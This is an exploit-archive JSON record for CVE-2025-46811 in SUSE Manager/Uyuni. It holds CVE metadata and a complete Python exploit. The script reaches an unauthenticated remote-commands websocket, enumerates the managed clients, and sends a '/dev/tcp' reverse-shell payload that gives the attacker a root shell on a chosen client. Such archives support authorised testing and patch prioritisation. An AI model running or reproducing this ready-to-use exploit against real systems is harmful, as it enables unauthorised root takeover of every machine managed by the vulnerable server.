{"exploit":{"id":"EDB-52527","name":"SuSE Manager 4.3.15 - Code Execution","description":"SuSE Manager 4.3.15 - Code Execution","cves":["CVE-2025-46811"],"author":"wjmaj98","published":"2026-04-30","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52527","path":"exploits/multiple/webapps/52527.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52527.py","vulnerabilities":[{"id":"CVE-2025-46811","state":"PUBLISHED","title":"SUSE Multi Linux Manager allows code execution via unprotected websocket endpoint","titleSource":"CVE Program","description":"A Missing Authorization vulnerability in SUSE Linux Manager allows anyone with the ability to connect to port 443 of SUSE Manager is able to run any command as root on any client. This issue affects Container suse/manager/5.0/x86_64/server:5.0.5.7.30.1: from ? before 5.0.27-150600.3.33.1; Image SLES15-SP4-Manager-Server-4-3-BYOS: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-Azure: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-EC2: from ? before 4.3.87-150400.3.110.2; Image SLES15-SP4-Manager-Server-4-3-BYOS-GCE: from ? before 4.3.87-150400.3.110.2; SUSE Manager Server Module 4.3: from ? before 4.3.87-150400.3.110.2.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2025-46811","cvss":{"version":"4.0","baseScore":9.3,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"suse","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-46811"},"updatedAt":"2026-02-26T17:50:03.837Z","retrievedAt":"2026-11-25T16:15:50.544Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52527.png?v=2","url":"https://exploitbin.com/exploits/EDB-52527","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52527/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52527/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: SUSE Manager 4.3.15 - Code Execution\n# Date: 29.01.2026\n# Exploit Author: Wiktor Maj\n# Vendor Homepage: https://www.uyuni-project.org/\n# Software Link: https://github.com/uyuni-project/uyuni\n# Version: Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15\n# Tested on: Debian 12 (bookworm), Python 3.11.2 with websocket-client 1.9.0\n# CVE: CVE-2025-46811\n\n# Sends a reverse shell payload to the vulnerable WebSocket of either SUSE Manager or Uyuni.\n# Set up a listener session in a separate terminal.\n# After the payload is sent, switch to your listener terminal to check if a shell pops up.\n# Example:\n# python3 cve-2025-46811.py --ip 192.168.10.126 --port 443 --host-ip 192.168.10.113 --host-port 9001 --ssl\n\n\n#### PROGRAM CONSTRAINTS ####\nPAYLOAD = f\"sh -i >& /dev/tcp/HOST_IP/HOST_PORT 0>&1\"  # reverse shell payload, HOST_IP and HOST_PORT will be substituted with CLI args\nCONNECTION_RETRIES = 4  # number of connection attempts\nCONNECTION_DELAY_BETWEEN_RETRIES = 15  # seconds\nWEBSOCKET_TIMEOUT = 10  # seconds\n##############################\n\nimport argparse\nimport json\nimport socket\nimport ssl\nimport sys\nimport time\nimport websocket\n\n\ndef parse_args() -> argparse.Namespace:\n    parser = argparse.ArgumentParser(description=\"Implementation of CVE-2025-46811 exploit for SUSE Manager & Uyuni.\", add_help=False)\n    parser.add_argument(\"-h\", \"--help\", action=\"help\", default=argparse.SUPPRESS, help=\"Display this help text and exit.\")\n    parser.add_argument(\"--ip\", required=True, help=\"Victim IPv4 or hostname.\")\n    parser.add_argument(\"--port\", type=int, default=443, help=\"Victim port (default: 443).\")\n    parser.add_argument(\"--host-ip\", required=True, help=\"Attacker host IPv4 or hostname.\")\n    parser.add_argument(\"--host-port\", type=int, required=True, help=\"Attacker host port.\")\n    group = parser.add_mutually_exclusive_group()\n    group.add_argument(\"--ssl\", dest=\"ssl\", action=\"store_true\",\n                       help=\"Use SSL/TLS for the WebSocket connection (default).\")\n    group.add_argument(\"--no-ssl\", dest=\"ssl\", action=\"store_false\",\n                       help=\"Disable SSL/TLS and use plaintext WebSocket.\")\n    parser.set_defaults(ssl=True)\n    return parser.parse_args()\n\n\ndef resolve_target(hostname: str) -> str:\n    return socket.gethostbyname(hostname)\n\n\ndef receive_preview_minions_message(websocket_connection: websocket.WebSocket) -> str:\n    while True:\n        try:\n            message = websocket_connection.recv()\n            if message:\n                print(\"Received:\", message)\n                if isinstance(message, bytes):\n                    message = message.decode(\"utf-8\", errors=\"replace\")\n                return message\n        except websocket.WebSocketTimeoutException as exception:\n            raise RuntimeError(\"Failed to receive preview minions message\") from exception\n\n\ndef decode_preview_minions_message(message: str) -> list[str]:\n    try:\n        preview_output = json.loads(message)\n    except json.JSONDecodeError as exception:\n        raise RuntimeError(\"Preview response is not valid JSON\") from exception\n    if (\n        isinstance(preview_output, dict)\n        and isinstance(preview_output.get(\"minions\"), list)\n        and preview_output[\"minions\"]\n        and all(isinstance(entity, str) for entity in preview_output[\"minions\"])\n    ):\n        return preview_output[\"minions\"]\n    raise RuntimeError(\"Preview response expected non-empty 'minions' list\")\n\n\ndef receive_preview_minions(websocket_connection: websocket.WebSocket) -> list[str]:\n    message = receive_preview_minions_message(websocket_connection)\n    minions = decode_preview_minions_message(message)\n    return minions\n\n\ndef select_minion(minions: list[str]) -> str:\n    print(\"Available minions:\")\n    for minion_id, minion_name in enumerate(minions, start=1):\n        print(f\"{minion_id}) {minion_name}\")\n    prompt = \"Select minion number (default is '1', or 'c' to cancel): \"\n    while True:\n        choice = input(prompt).strip()\n        if choice == \"\":\n            return minions[0]\n        if choice.lower() == \"c\":\n            print(\"No minion selected. Exiting.\")\n            sys.exit(0)\n        if choice.isdigit():\n            index = int(choice)\n            if 1 <= index <= len(minions):\n                return minions[index - 1]\n        print(\"Invalid selection.\")\n\n\ndef connect_to_websocket(target_ip: str,\n                         port: int,\n                         use_ssl: bool,\n                         sslopt: dict,\n                     ) -> websocket.WebSocket:\n    scheme = \"wss\" if use_ssl else \"ws\"\n    try:\n        return websocket.create_connection(\n            f\"{scheme}://{target_ip}:{port}/rhn/websocket/minion/remote-commands\",\n            timeout=WEBSOCKET_TIMEOUT,\n            sslopt=sslopt,\n        )\n    except ssl.SSLError as exception:\n        if \"WRONG_VERSION_NUMBER\" in str(exception):\n            raise RuntimeError(\"Websocket seems to be unsecured, try with --no-ssl\") from exception\n        raise\n    except websocket.WebSocketBadStatusException as exception:\n        if exception.status_code == 400:\n            raise RuntimeError(\"Websocket seems to be secured, try with --ssl\") from exception\n        raise\n    except TimeoutError as exception:\n        raise RuntimeError(\"Websocket is likely under firewall\") from exception\n\n\ndef get_minions(target_ip: str,\n                port: int,\n                use_ssl: bool,\n            ) -> tuple[websocket.WebSocket, list[str]]:\n    sslopt = {\"cert_reqs\": ssl.CERT_NONE, \"check_hostname\": False}\n    for attempt in range(1, CONNECTION_RETRIES + 1):\n        websocket_connection = None\n        try:\n            websocket_connection = connect_to_websocket(target_ip, port, use_ssl, sslopt)\n            websocket_connection.send(json.dumps({\"preview\": True, \"target\": \"*\"}))\n            minions = receive_preview_minions(websocket_connection)\n            return websocket_connection, minions\n        except (\n            websocket.WebSocketTimeoutException,\n            websocket.WebSocketConnectionClosedException,\n        ):\n            if websocket_connection is not None:\n                websocket_connection.close()\n            if attempt == CONNECTION_RETRIES:\n                break\n        time.sleep(CONNECTION_DELAY_BETWEEN_RETRIES)\n    raise RuntimeError(\"Target websocket is not vulnerable or not reachable\")\n\n\ndef send_payload(websocket_connection: websocket.WebSocket, target: str) -> None:\n    payload = PAYLOAD.replace(\"HOST_IP\", args.host_ip).replace(\"HOST_PORT\", str(args.host_port))\n    websocket_connection.send(json.dumps({\"preview\": False, \"target\": target, \"command\": payload}))\n\n\nif __name__ == \"__main__\":\n    args = parse_args()\n    websocket_connection = None\n    try:\n        websocket_connection, minions = get_minions(\n            target_ip=resolve_target(args.ip),\n            port=args.port,\n            use_ssl=args.ssl,\n        )\n        selected_minion = select_minion(minions)\n        send_payload(websocket_connection, selected_minion)\n        print(\"Payload sent, closing.\")\n    finally:\n        if websocket_connection is not None:\n            websocket_connection.close()","sha256":"718760f9fbf98c030e53fad3c84293f58c93f9233b55cd1ed1b005cdc845d715","bytes":7160,"fetchedAt":"2026-11-26T11:17:46.219Z","encoding":"utf-8 (display only; download retains original bytes)"}